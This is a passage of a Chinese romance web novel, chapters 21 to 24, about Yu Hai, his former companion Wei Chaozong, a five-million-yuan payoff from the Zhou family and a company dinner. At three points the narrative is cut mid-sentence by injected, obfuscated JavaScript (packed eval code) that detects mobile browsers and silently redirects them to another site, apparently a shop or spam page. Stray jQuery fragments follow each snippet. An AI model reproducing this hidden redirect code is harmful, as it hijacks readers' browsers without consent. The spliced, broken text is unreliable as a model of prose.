那边孙伯辉眼中霸道至极的人确也做着旁人眼中强横的举动。
于海见魏朝宗旁若无人的举动,不禁佩服对方薛定谔的脸皮厚度。
轻易戏弄几句就恼羞成怒的人怎么做到大庭广众众目睽睽之下和他拉拉扯扯,还面不改色的。
魏朝宗握在手中的腕部挣动了下,不情不愿的停下脚步回首问他:“你不想去?”
于海无奈的低声说:“别废话了,赶紧走吧。”
全场灼热的打量快把这块的地板烧出洞了。
21. 第 21 章
魏朝宗眼睛不自觉流露出笑意,带着人向后院走去。
明月高悬,无数小彩灯布置成精美的造型盘旋在枝头,照亮了盛开的缤纷绚烂的鲜花。
各色名贵花种彷佛迷失了季节,不约而同的在同一个夜晚绽放出最完美的姿态。
混合的浓郁花香直冲脑门,于海望着一眼看不到尽头的花圃,顿时觉得头昏脑胀。
魏朝宗矜持的看着他,黑眸却涌动着遮掩不住的得意和求表扬。
凭良心讲,将纷乱复杂的花种协调打理成错落有致、花团锦簇、颇具观赏性的景色,这位打理周家后花园的绝对是园艺大师。
尤其,于海看了看□□两侧翻新的泥土,明显绝大部分花株都是刚移植过来的。
魏朝宗特慷慨的指着漫无边际的花海:“喜欢什么随便摘,我让人包好了给你送过去。”当然快递特派员是他自己。
一脸这是朕为你打下江山的意气风发。
于海嘴角抽了抽,他是看出来了,这场“四季”花卉强行聚会的始作俑者就是魏朝宗。
他要是周家园艺师指定气到辞职,有这么说风就是雨且不尊重劳动成果的雇主吗?
“长得好好的,就别辣手摧花了。”于海困惑,“我像是个喜欢花的吗?”
他们怎么说也曾同住了半年,住的院子里全是除不尽的荒草,野花都难以生存,魏朝宗从哪看出他喜欢花的?
魏朝宗抿唇,目不转睛的看着他,阴恻恻地说:“别人送你玫瑰花,你收。我送就不行?”
于海懒得解释他压根没收,糊弄鬼的话顺嘴溜了出来:“那不正说明你特殊嘛。”
肉眼可见的,魏大少脸色由阴转晴,白皙的脸泛出些红光。
于海:……
让你嘴欠!
“我也不喜欢花,香味太腻了。”魏朝宗嫌弃的皱了皱鼻子。
于海对他的变脸速度也是服气了,方才得意炫耀自家后花园的是谁啊?
魏朝宗:“我们……”
“汪。”
大只阿拉斯加吐着舌头欢快的从花丛中飞奔而来。
所经之地,花瓣纷飞,留下一地残花断枝,画面残酷到不忍直视。
大狗跳跃着扑过来,于海心中暗骂,手上下意识摆出拥抱的姿势——抱自家狗子抱习惯了。
一个身影斜插了进来。
于海盯着发质蓬松的后脑勺,听到前方传来的怒斥:“包子!”
“汪,呜”
大狗趴在地上委屈的小声叫着,四肢匍匐前进试图避开主人的监管。
嗅到熟悉的味道,大狗鼻子用力耸动两下,悄悄昂起脑袋,沐浴着圣光的高大身影印在褐色的圆眸中。
大狗感觉那个人浑身散发着让它流口水的香气,比肉骨头更美妙的香味:如果能舔一口,它的狗生将是多么的幸福。
大狗两只爪子盖住脑袋,以防主人看到它,打着滚向目标进发。
忽然,它感到一股向后拉扯的力量,熟悉的锁链扼住了它命运的喉咙。
魏朝宗眼疾手快的控制住大狗,简直要被这条色狗给气死,知道是谁的人吗就敢占便宜。
大狗不满的甩头:“嗷呜”
于海弯腰拍了拍大狗的脑袋。
大狗瞬间兴奋的弹跳起来,狗头顶着大掌掌心亲昵的蹭动。
魏朝宗看着一人一狗的互动,眉头攒出一道深刻的印痕,握着牵引绳的手指收紧,指甲嵌入掌心。
一边控制不住的咕嘟嘟冒酸水,一边极力克制自己的冲动。
他嫉妒一只狗,嫉妒到恨不得取而代之。
那本该是他的位置。
“于海。”
魏朝宗忍不住叫了声他的名字。
于海抬眼看向他,黑眸流露着的轻松的笑意。
魏朝宗嘴唇微动,他想说,你能不能抱抱我。
但他害怕看到于海眼中再次出现排斥和冷漠。
魏朝宗拽着大狗的脑袋,从某人掌心下挪开:“它在泥堆里滚了一天,没洗澡。”
于海的确有几分爱干净的毛病。
之所以说毛病,是因为当年他每天在工地干活,半天下来,衣服脏的能把水染黑。
工地空气里都充斥着建筑粉尘,更别说他们还要搬运东西,衣服变脏再正常不过。
偏偏于海爱干净,别人午休的时间,他精力旺盛就趁休息的时间洗衣服。
还得了个“于小美”的诨号。
这事魏朝宗也知道。
魏朝宗来了后,包揽了衣物清洗的活。他的衣物从内到外,从帽子到袜子,都是魏朝宗手洗的。
刚开始魏朝宗提议帮他洗衣服,于海是拒绝的,摆摆手说,你管好自己那摊就行了。
于海这样说事出有因。就在前一天,魏朝宗还带给他一个小震撼。
先是懵懂的问,衣服给谁。
于海以为对方打算卖二手,随口说,你衣服脏的,免费送
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022249|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也没人要啊。
魏朝宗继续问,那它怎么变干净。
于海差点以为这人是个傻子,手指敲了敲对方的额头,当然是自己洗,你还做梦有田螺姑娘帮你啊。
魏朝宗摸摸额头,呆呆地应了声:哦。
然后于海就在水池边见到这小子搓衣服,一副如临大敌的严肃模样。
那手劲大的,用搓不妥,应该是撕。很快,衣服被撕开一个大洞。
魏朝宗看着洞怀疑人生的表情,让于海现在想起来还忍不住乐。
于是,第二天魏朝宗主动表示要帮他洗衣服,于海果断拒绝了。
丫自己衣服都洗废了,身上穿的还是他给的,他衣服多也禁不住这样造。
魏朝宗也没和他争辩,于海以为这事就过去了。结果大晚上出门放水,碰到一个黑影鬼鬼祟祟的站在水池旁。
于海悄默声走过去,就见魏朝宗十分有钻研精神的半夜研究如何洗衣服呢。
他倒是没怎么着,魏朝宗看见他脸都吓白了,两手捂着盆,跟怀揣炸药包似的。
于海怕把人吓出个好歹来,轻声安抚:“你继续,我什么也没看见。”
想着等到天亮再嘱咐对方,想练习洗衣服就趁白天,大晚上的不睡觉多影响休息。
然后,于海起床就看见晾衣架上飘扬着他的上衣、裤子、袜子,还有内裤。
这是哪位田螺姑娘干的好事啊?!
某人偷偷摸摸看他,又在下一秒急忙避开视线。
于海:哦,原来是田螺汉子。你这汉子连内裤都给包揽的吗?
于海有点尴尬,尴尬之余庆幸的想,幸好没洗出来大洞。
从那以后,于海的脏衣服总是在他洗澡的时候消失不见,等他洗完澡,魏朝宗那边已经给他洗的差不多了。
次数多了,于海也习惯了。
何况,于海并不是个喜欢家务的人,只是由于自身的习性,迫不得已在家务上勤劳起来。
有了魏朝宗替他分担,轻松不少。
绕远了。
总之,魏朝宗跟了他半年时间,对他的喜好和习惯可以说了如指掌。
魏朝宗说“包子”脏,自然是为了让他离“包子”远一些。
“挺干净的。”于海故意歪曲他的意思,“不舍得让我摸?还是担心包子跟我跑了?放心,君子不夺人所好,我可干不出偷狗的事。”
“谁……”魏朝宗面皮涨红,头顶冒烟,“谁偷狗了?!”
22. 第 22 章
于海慢悠悠道:“谁声音大就说谁。”
见对方给气的嘴唇发抖,半天说不出话,于海又慢条斯理的继续说:“嗨,没说你。就是想起来,我以前养了一只阿拉斯加,也叫包子。有一天突然不见了,我怀疑是我身边某个喜欢虚张声势的故人偷走的。”
包子的名字是于海取的,阿拉斯加打小黏他,像个挂件一样贴着他的裤脚,其他人使出浑身解数也吸引不了它。
于海不在场还好,只要他在,其他人但凡抱它,立刻就会被杀猪般的凄厉叫声魔音贯耳。
也不知道一只狗怎么发出猪叫的。
只有一种情况除外——用肉包子勾引。它最爱吃的就是食堂大师傅做的肉包子。只要晃晃手中的肉包子,年幼的阿拉斯加立刻被迷的晕头转向。
于海说:“这么爱吃肉包子,就叫你包子吧。”
工友们都觉得再合适不过。
从手掌大小养到膝盖一样高,没感情那是不可能的。
于海挑逗的挠着大狗的下巴,笑道:“说起故人和狗,我还挺想它的。”
“你……”魏朝宗眼底浮现微薄的希冀,“你想过我。”
于海笑道:“魏少说笑了,你又没偷我的狗。再说,我想个偷狗的干什么?我想的,是我的狗。”
我想的,是我的狗。
魏朝宗觉得心切割成两半,一半浸泡在冰水里,一半被烈焰炙烤。
于海是什么意思。
于海在暗示,他可以回到他的身边吗?他们能回到雨夜前——于海笑着招招手叫他小狗的从前。
另一个声音嘲讽的说,痴心妄想!五年,见不得光的偷窥者,你做了五年。没有你的生活,他是多么的畅快。他从来不曾想起你。即便你死了,他也不会多看你一眼,多念你一分。你心甘情愿做他脚下的狗,但在他心里,你的位置不如一只真正的狗。
但是,万一哪………魏朝宗像抓住最后一棵救命稻草般紧紧攥着微不可见的一丝希望。即便是万分之一的可能,他也不甘心放弃。
“走失的他或许一直想要回到主人身边,只是你放弃他了。”
“这么说,是我的错?”
魏朝宗唇角绷直,思索片刻,认真的说:“不是你的错,也不是小狗的错,错的是窃贼和强盗。”
错的是周维,如果他不出现打扰他们的生活,一切都不会变。
“有件事我想不明白,报复我的手段有很多,偷我的狗算怎么回事?”于海笑着拍拍兴奋的狗头,“我说的是大狗。”
某天起床没有狗子欢腾的迎接,于海担心它生病了,去专门搭建的狗子小窝探查情况。
结果,狗子不见了,狗窝边上遗落一只“偷狗贼”的球鞋。
跑的多慌张啊,球鞋都给跑掉了。
于海认出来鞋是他买给魏朝宗的,谁是小贼不言而喻。
按理说,魏朝宗在这儿住了三四个月,他俩撕破脸后是该有个分割东西的环节,有些东西用习惯了有感情了,跟于海说一声,他不会拦着不让拿走。
问题是,魏朝宗天天因为包子生闷气,照刘江的话讲,那就是一山不容二狗、同类相斥,说他对狗子有感情,狗都不信。
为了报复他,偷走水火不容的狗子,然后再好吃好喝的养起来。
太不合理了。
“或许你想错了,他从未想过报复。”魏朝宗放轻声音,“他只是想让你不要忘了他,哪怕想起来是讨厌的,但是不要忘记他。”
骄傲的脸上浮现与之矛盾的卑微,诡异的情感交加,让冰冷的脸多了几分耐看的生动色彩。
于海内心没有多少波动,他只是陷入更深的困惑。
魏朝宗为他们关系的崩裂找了个罪魁祸首——周维,理所当然的语气让于海都差点信了。
于海工作上三省其身,复盘进取。生活上,他几乎不去追忆过去。
一步一个脚印向前走,重来一次,或许他会做出不一样的选择,但已经选择的路他从不后悔。
而五年前的是事,即使重来,于海也会做出同样的决定。
那时周维的秘书找到他,拿出五百万要他离开魏朝宗。几句话的功夫,于海就答应了这笔交易,速度快到胸有城府的张秘书都为之侧目。后来,这五百万成为他回国创业的启动基金。
无论从哪个角度,这笔交易都是笔划算的买卖。于海自身,更是赚大了。
因为即使没有那五百万,了解基本情况后,于海也不打算继续收留魏朝宗,这笔钱是意外之财。
魏朝宗应当是知道这笔交易的。
虽然那位张秘书让他保证不向魏朝宗透露五百万的交易,打着保护他家少爷脆弱心灵的旗号。
于海答应了,却明白对他下禁口令的原因大概是想在更合适的时机、由更合适的人来告诉魏朝宗。
有利于分裂他和魏朝宗关系的事儿,周家没必要向魏朝宗隐瞒。
他以五百万的价格将魏朝宗卖给了周家。
事实如此。
于海困惑魏朝宗的脑回路怎么长的,一提到五年前就应激的模样也不像不在乎。
既然觉得受到伤害,要么毁掉伤害的来源,要么就远离,怎么还上赶着受虐?
不止于海不明白。
又一次撞见舅甥两个针锋相对的张哲更加的疑惑不解,为什么脸冷心硬的少爷涉及到于海的事,总像是变了一个人。
平日里,周先生和魏少的相处虽不至温馨友爱,至少能维持表面的平和。但于海这个名字就像一根引线,但凡提及,必然会引爆隐藏的炸弹。
“你让他来周家我不追究,抛下所有的宾客,大张旗鼓的单独将人带走……”周维浓眉紧锁,眉间皱纹如山峦般起伏,“魏朝宗,你还知道自己的身份吗?分的清今天是什么场合吗?”
“我很清醒。你应该庆幸,周家继承人的身份,对他还有可以利用的地方。”魏朝宗面无波澜,“我就是要告诉所有人他的特殊,我不希望看到第二个孙家出现。”
周维沉声:“清醒?我看你是昏了头,看来需要张秘书再和你说一遍当日的交易,给你泼泼冷水。”
张哲没有立刻开口说话,而是谨慎的扫了眼魏少的侧脸。
魏朝宗面无表情的脸上凝结了一层寒霜。
于海五百万卖了他。
魏朝宗第一次听到时,已经从K国回到国内。
周维洞察人心,他掌握着最恰当的时机告诉他交易的事,给予他最沉重的一击。
若是在那场雨夜前,魏朝宗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14022250|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一定会去找于海求一个真相,祈求于海不要选择金钱请选择他,他以后会赚很多很多钱,会给于海很多很多钱。
而在那场雨夜,魏朝宗跪在湿漉漉的石砖上,哀求于海不要赶他走。
“我不想养小狗了,没意思。”
“滚吧,别来烦我。”
魏朝宗面对紧闭的门扉跪了一夜,最后高烧昏迷被周家带走。
那时的他心里充满绝望的恨意,张秘书告知他交易的事情,仿若火山喷发,他的心落入滚滚熔岩,顷刻间化为灰烬。
不再犹豫,已然麻木的他接受了出国的安排。
他以为他的生命已经干涸了。
然而过往的回忆像一把尖刀刺在心脏处。他看到淋漓的鲜血,并感觉到了疼痛。鲜血沿着血管输送至身体各处,让僵直的躯干有了活人的模样。
魏朝宗不能停止回忆,那是他生命的养分。
魏朝宗不能死,他舍不得那些回忆。
渐渐的,魏朝宗在剜心的疼痛中,品出一丝甜的滋味。
魏朝宗曾以为那是他的虚妄幻想,痛是假的,甜是假的,他不断假设,又不断推翻,无时无刻不在天人交战。
于海用五百万卖了你。
也许你误会他了,也许于海是有苦衷的。
他将你看做商品,私下做了交易却不敢告诉你,不是心虚是什么?
也许是周维威胁了他,周家的人自私冷血,为达目的不择手段,于海正直纯善,怎么斗得过那群阴险狡诈的人。他和于海都中了周维的圈套。
可笑,他把你当成累赘、当做垃圾,丢弃时毫不犹豫,扔掉了就抛之脑后。他有一丝不舍吗?没有。
你怎么知道没有。也许下着大雨的夜晚,于海关上门便陷入了懊悔和纠结。
异想天开!驱赶你的话他都懒得多说。
也许是担心说多了泄露真实的不舍。包子消失的那天,虽然他镇定自若的指挥众人寻找,但一个人的时候,他真的很着急,不是么。
可笑,可笑,魏朝宗,你连只狗都不如啊。
两种声音不断的交叠出现,声量越来越大,击碎了虚妄和现实的镜子,魏朝宗放弃挣扎,任由自己沉溺于混沌的回忆里。
直到重新靠近于海,胶着的缠斗倏然分出胜负,魏朝宗终于在真实的疼痛中感知到真实的甜意。
于海不爱他,是真实的痛。
于海放弃他,是真实的痛。
而于海本身就是真实的甜,他不再是梦幻泡影,不再是近在咫尺却不敢触碰的梦。
魏朝宗不再对促使于海做出交易决定的原因追根究底。
如果阻隔他们的是金钱,那他就掌握金钱,如果阻隔他们的是权力,那他就掌握权力。
五年的时间,他将魏家收为己用,将周家控制在掌心,他努力摒除一切不安定的因素,终于走到于海面前。
而如今,周维想要故伎重施,试图用同样的话激怒他。
“你想看到我什么反应?怒不可遏、心灰意冷?主动报复他、和他断绝往来?”
断绝来往,于海大概会一身轻松。
魏朝宗心口一悸,嗤笑:“我只觉得你太吝啬,堂堂周家只拿出五百万换他们的继承人,说出去令人耻笑。”
23. 第 23 章
魏朝宗懒得和周维解释太多。
周维高高在上,百万、千万不过是个微小的数字,他想借以证明魏朝宗在于海眼中是件廉价商品,证明于海是个见钱眼开、见利忘义的小人。
曾经的魏朝宗,不曾和于海相处过的魏朝宗,锦衣玉食的长大,钱财名利唾手可得,物质财富对他而言是最不值一提的东西,也会对拿着感情置换金钱的人嗤之以鼻。
但是,他遇到了于海。
烈日炎炎,强烈的白光刺激得他难以睁开双眼,过高的温度让从没有吃过苦的身体感到了煎熬。
而不远处,粉尘弥漫在空气里,沉重的钢材压在瘦削的肩膀上,腐蚀性的水泥溅向黝黑发红的英俊脸庞……衣服早已被汗水浸湿,豆大的汗珠从额头滑落,滴入炙热的土地……却仿佛滴入魏朝宗的眼睛里,让他感觉眼球火烧般的疼痛。
于海是个爱干净的人,指甲里却是清理不完的灰色污垢,指腹划痕交错新伤叠旧伤,粗糙的手背爬满蚯蚓般的血管。
一无所知的魏朝宗只觉得这样一双手为于海所拥有格外的性感和特别,了解渐深后知后觉体会了心痛的滋味。
于海笑的释怀,摊开手给他看:“有什么好心疼的,我凭双手吃饭。”
五百万,周维不屑一顾的数字,当年的于海需要挥洒三十年四十年、上万个日夜的血汗。于海那么热爱他的工作,却将三十余年的付出回报和相处118天的他划上同等价值的两道横线,魏朝宗有什么立场指责于海辜负他。
“我只觉得他心软好骗,利用我不够彻底。”
张哲眼皮一跳,三观塌陷了一块,那个叫于海的男人是给魏少下咒了吗?
恋爱令人降智,魏少是彻底失智。
和于海的交易场景,张哲不敢忘记,老板需要他在魏少迷惘的时刻站出来,提醒魏少不要重蹈覆辙。
因而,张哲依然清晰的记得交易的场景。
一头青皮的男人叼着烟走进来,单手插在兜里,神情散漫。
张哲的控制力一向不错,闻到烟味他下意识皱了皱眉,微小的表情仅停留了一息之间,而男人似乎捕捉到他的不适,掐灭了烟挥散了升腾的轻淡烟雾。
“你们要带走魏朝宗?”男人开门见山,“回答我几个问题。”
张哲做了充分的准备,他的公文包里不仅有魏少的身份证明、一张五百万的现金支票、还有眼前这个年轻男人的生平资料。
23岁,父亲(已故)是建筑工人,母亲是家政人员(现)。高二,因打架滋事被退学。同年,他的父亲高空作业时死于意外。辍学之后于海选择了和他父亲同样的工作,多年来辗转国内外。
年少失去至亲,和母亲相依为命。他的命门是什么,不言而喻。
张哲必须经过这场谈判,让男人选择主动离开魏少,利诱或威胁,手段不重要,重要的是他能达成周先生想要看到的结果。
魏少宁愿放弃身份也要留在男人身边,这是周家和魏家都不能容忍的。
张哲本以为谈判的过程会有曲折,毕竟魏少的反应足以说明两人感情深厚。
未料到男人仅问了魏少的基本信息,出生年月、身高体重、饮食习惯,并让他拿出证明魏少身份的材料。
“在读大学?”男人轻笑,“也是,可不就是上学的年纪嘛。”
接着语气随意的说:“我这边没问题了。既然你们是他的亲人,随时可以带他走。”
张哲眼中闪过一丝诧异。
眼前的男人似乎对即将到来的分离毫不在意。
周家错误的预估了男人在魏少心目中的地位,以致于他们不得不绕过魏少找到男人谈判。张哲想,魏少是否也错误的估计了自己在这个男人心中的重要性。
如果魏少知道对方的态度,还会留恋吗?
“还有问题吗?没事我先走了。”男人语调懒洋洋的,“今天的砖还没搬完哪。”
张哲拿出支票,这是彻底斩断两人关系的一把利刃:“如果他不愿离开,还请您帮忙,这是报酬。”
男人愣了愣,很快恢复悠然的神色:“不好意思,没见过世面,冲击力有点大。”
他闲适的姿态并不像受到冲击的模样,张哲没有从对方脸上看出丝毫的贪婪和欲望。
男人却说:“支票这玩意我不懂。我给你个卡号,走转账吧。”
无比的坦荡和自然。
张哲恍惚觉得对方不是在做一笔情感与金钱的交易,而是随手卖掉了一个失去兴趣的二手物件。
事情按照周先生所计划的推进,魏少得知这场交易后,将自己关在房间里两天两夜,然后平静的接受了周先生的安排,回归了“正途”。
张哲以为少爷早已想通了。
以周家继承人身份再次回来的少爷,褪去青涩和冲动,更加的冷漠、不近人情。
他霸道专制,不喜阿谀奉承人情世故,偏偏再而三的放低身份去接近那个左右逢源的人。
他洞若观火,就连老于世故的张哲站在他面前也会觉得无所遁形,牵涉到那个人却活脱脱像个被妖妃迷晕了头的昏君。
张哲严阵以待,准备随时去为周先生取来速效救心丸。
莫说对魏少抱有极大期待、并将周家未来寄托在魏少身上的周先生,作为一个服务于周家十年的秘书,他听着魏少指鹿为马颠倒黑白的话,都觉得眼前一黑。
好在魏朝宗没有再说更多刺激的话,转身离开了书房。
“看着他点。”周维疲惫的揉了揉眉心。
一朝天子一朝臣。
警告言犹在耳,张哲心底叹息一声:“是。”
于海这趟周家宴会之行,很快在圈子里传开。不少往日搭不上边的二代三代联系他,试探的打听他和魏朝宗的关系。
“我和魏少啊…狗友。”
“狐…朋…狗…友的狗友?于总别开玩笑了。”
“同为养狗人,偶尔交流交流养狗心得。”
“哦……原来是这样,吓我一跳。”
当时接机魏朝宗的阵仗浩浩荡荡,其中就有跟于海打探消息的人,听于海说交流养狗心得,联系当日情景,立刻就接受了于海的说法。
那日魏少的狗两拖不走,三拽回头的便宜样,于海能成为魏少的狗友不足为奇。
他们只能感概于海走了狗屎运,这年头上位的手段千奇百怪,通过狗上位的他们还是第一次见。
羡慕,但学不来。
由于这个关系的特殊性,加上两人地位悬殊,所以大部分人不约而同的保持了观望状态。也有小嘬人秉持着有枣没枣打一竿子的心态,向于海示好。
不过观望一段时间后,他们并没有发现魏少对于海有什么特殊关照,褚少那个圈子里的人几乎都不认识于海。
渐渐的,这些人意识到于海的社交价值不高,也就切断了联系。
连续当了一两周社交达人的于海终于能够喘口气。同样的,他们在于海眼里,百分之九十五以上都可以归类为浪费时间的无效社交对象,断联正合他心意。
不过,少有的有效社交关系——韩涛韩大少,于海主动打过去电话,反而被再三挂断,好在韩涛虽然不接他电话,关于商业上的合作倒是没受丝毫影响,依然稳定进行中。
于海猜到几分韩涛的心理,但他暂时不急于去解释。
一是让韩大少冷静冷静,等待一个更为合适的时机。
二是他最近要忙几天。
周家晚宴和孙伯辉的谈话成效显著,东区的项目陆续启动,他要保证让各个项目都走上正轨。
另外,于海和M.Z集团的高层通过反复磋商,达成口头协议。
笼罩百川的愁云惨雾终于彻底消散,上上下下都沉浸在喜悦且干劲十足的氛围中。
刘江提议:“好久没下馆子了,只发红包可不行,你得请我们大伙吃饭。”
于海爽快道:“行。问问他们的意见,消费标准不限,让他们挑喜欢的。”
“哎呀。”刘江故作姿态的捧着脸,怪声怪气的细声说,“我们老板是全世界最好的老板。”
于海做了个呕吐的表情,笑骂:“滚蛋。”
经过群里热烈讨论,最终地点敲定开发区的鼎丰88号,这家餐厅离现在的公司不近,开车要半个小时,距离原来的办公地址和于海搬家前的住址倒是很近,刚开业一年便已经成为青奚高品质餐厅推荐位前三的常客。
刘江顶不住众人的起哄,大出血了一次,掏空家底,把家里储藏柜里的好酒贡献出大半。
员工们喜气洋洋的搬着酒,从后备箱运到包间。
刘江一脸丧气。
于海被逗笑了:“至于吗?”
刘江用半死不活的语气说:“崽卖爷田不心疼。”
“大家是为了你身体健康着想,杜绝你在家偷喝的隐患。”
小助理凑过来,眨巴眼:“对啊刘总,反正你也喝不完,放时间长了就过期了,多浪费啊。”
过期个屁。
刘江气得直摆手:“一边呆着去。”
小助理乐呵呵蹦跳着走远了。
人到的差不多之后,于海上台对大家的工作表达了感谢,没再说多余的场面话,直接切入正题:“饿了吧?开饭。”
众人兴高采烈的投入饕餮盛宴中。
鼎丰的人均消费千元左右,是青奚市非常有名的一家高档餐厅,以当地特色菜为主,听说主厨是东家三顾茅庐请来的五星级大厨。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14022251|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在座的都是打过交道的同事,了解大BOSS不爱酒桌文化那一套,一个个暂且将社交抛掷脑后,全身心的品尝美食。
于海也觉得味道不错,口腹之欲较淡的他难得多吃了一些。
中途,餐厅经理过来了一趟,专门给他们送来免费赠送的甜点。
经理亲自将一碟豌豆糕放在于海面前:“我们主厨亲自做的,于总请品尝。”
于海平时不吃甜点,在经理期待的目光中,夹起一块吃了。
入口即化、清爽细腻,确实不错。
等经理离开后,坐在一旁的刘江也尝了一块,细细咂摸:“好吃,这味道跟你爱慕者送的点心不相上下啊。”
“你喜欢?”
刘江小鸡啄米点头。
于海把盘子推过去:“都给你。”
“你去。”
“你先吧。”
“还是你先去。”
于海抬眼,只见两个员工手里拿着酒杯推来推去。
于海:?
于海对他们有印象,这两人是工程部新招的实习生,今年刚毕业。
两人见于海看向他们,立刻恢复一本正经的姿态。
这时,手机震动了一下。
于海打开一看,是前几天刚加上联系方式的魏朝宗。
【睡了吗?】
【干嘛呢?】
刚八点半,老年作息也到不了睡觉时间吧。
于海无语的打下四个字:【同事聚餐】
【哪家店?】
【味道怎么样?】
于海:【鼎丰,还不错】
对方正在输入中……
对话框维持了好一会,没有新的信息。
于海看出对方纯粹闲的没事找他瞎聊,这时身旁传来动静,他将手机收了回去。
小助理端着杯果汁,走了过来:“于总,我敬您一杯,祝咱们公司越来越好。”
于海笑着端起酒杯,和对方碰了碰,一饮而尽。
“于总。”小助理悄悄说,“玫瑰花已经收了两周啦。我有预感,您的桃花运即将滚滚来。”
于海无奈:“我谢谢你。”
小助理打了头阵,后面的人一波接一波笑嘻嘻的过来跟于海碰杯。
拿什么的都有,五花八门,还有个捧着奶茶杯过来的。
两个实习生面面相觑,默默的放下了自己的酒杯,换成了可乐,他们原以为刘总带酒过来是要鼓动大家喝酒交流感情。
真实情况是,大领导压根不管,你爱喝什么请便,二领导巴不得你少喝点。
聚餐结束,众人散去。
于海和刘江压后,两人站在窗前看了会夜景。
鼎丰地理位置优越,倚靠青奚市知名景点之一青女湖而建,夜晚倚栏而望,波光掠影璀璨夺目。
“比白天有看头,崽子们果然会挑地方。”刘江笑着说,“天气也不错,难得看到几颗星星。”
抬头看了看天色。
闪烁的霓虹灯令夜晚的星星黯淡朦胧,他们的心情却像拂去灰尘与水汽的镜子,格外通透。
两人对视一眼,都不禁笑起来。
刘江感慨:“时间过得真快,十年转瞬即逝啊。”
于海和刘江在工地认识,十八岁的他加入了刘江的施工队,距今已十年。
“我们都在变好。”
“说得对。”刘江乐呵呵的拍着于海的肩膀,“跟以前的苦日子比起来,现在这点小风小浪算个屁。”
不知想到什么,又唉声叹气起来:“老子就是过得太顺了,一点苦不想吃。”
于海一眼看穿:“这就是你不去追徐姐的理由?”
“你这种穿个麻袋上街都有小妖精倒贴的压根不懂人间疾苦。”刘江喝了点小酒,强烈的倾诉欲促使他吐露心声,“我不追还能当朋友,真要追了,朋友都当不成。”
于海不明白前后的逻辑在哪里。
刘江:“我举个例,如果魏朝宗向你告白,你拒绝了,你们还能做朋友吗?”
“也不是不可以。”于海看着刘江一脸裂开的表情,无所谓的说,“对我有利无害的事,魏朝宗都不介意,我介意什么?”
实际上,那天在周家,魏朝宗送他离开前,问过他类似的话。
他似乎下定了很大的决心,才小心翼翼问出口:“于海,我们能做朋友吗?”
于海没有拒绝的理由。
既然魏朝宗不恨他,既然魏朝宗不想报复他。
为什么拒绝?
当他走进周家大宅,亲眼见到汇集于一处的政商名流,那些只能在媒体上看到的人物就站在咫尺的距离,他清楚的意识到呈现在他面前的是资源的宝库、人脉的金山。
24. 第 24 章
于海和魏朝宗那事,比他和徐蕊复杂多了,至少他俩现在都是单身,且毫无前仇旧怨。
要不然人家年纪轻轻逆袭当大老板,理性认知水平比他高五层楼。
“感情的事找你说就是对牛弹琴。”刘江翻白眼,嘀嘀咕咕,“我还不如和魏朝宗讨论。”
想到魏朝宗,刘江忍不住多说了句:“魏少毕竟不是当年的小魏了,你要小心。”
跟这帮公子哥交往,不能把自己摆的太低,不然就成了奴仆,但是也不能自视过高,以为自己跟他们能随时平等的对话,尤其地位到了周家的级别,他们要是翻脸不认人,要弄死他们跟捏死只蚂蚁没区别。
于海:“放心,我有分寸。”
服务员敲了敲门,提醒他们快到关门时间。
于海边摆弄手机找代驾边问:“一起回?”
他们两个虽不是邻居,但相差十来个门牌号,走几分钟就能过去。
刘江点点头:“蹭你的车,省得我叫代驾了。”
于海叫的代驾大概十分钟后抵达。
于是两人一同下了楼,到酒楼门口等代驾过来,顺便吹会凉风。
天色已晚,路上没什么行人,夜风安静的吹拂而来,十分惬意。
突然一辆全碳纤维外壳的霸气摩托打破了平静,与之形成强烈反差的是后座上绑着的一束艳丽红玫瑰。
下一刻,数道引擎轰鸣声炸响,由远及近刺激着耳膜。
四辆摩托疾停于后。
于海眼皮一跳。
最先抵达的男生摘掉头盔,眉眼飞扬:“还记得我吗?”
“乔少。”于海试探的问了句,“乔少也过来吃饭?”
鼎丰营业至晚上十一点,此时十点四十分接近关门的时间,于海预感这一出可能不是巧合。
“我专门过来接你的。”乔叶尧为他记得自己开心,又觉得乔少的称呼让他不爽,其他人叫他乔少带着恭维和谄媚,乔叶尧听习惯了不觉得怎么样,于海这样称呼他时,透着疏离冷淡,乔叶尧听得心里不舒服。
“你可以叫我的名字。”
后面摩托车上的四人原本打量他的视线急速转向,有点不可置信的看着乔叶尧。
刘江看着,都替他们担心扭了脖子,对突来的状况更是一头雾水:这四个毛头小子又是谁?
于海:“你怎么知道我在这?”
乔叶尧得意的抬抬下巴:“鼎丰是我表姐的店,我平时就在鼎丰吃饭,你进门我就看到你了。”
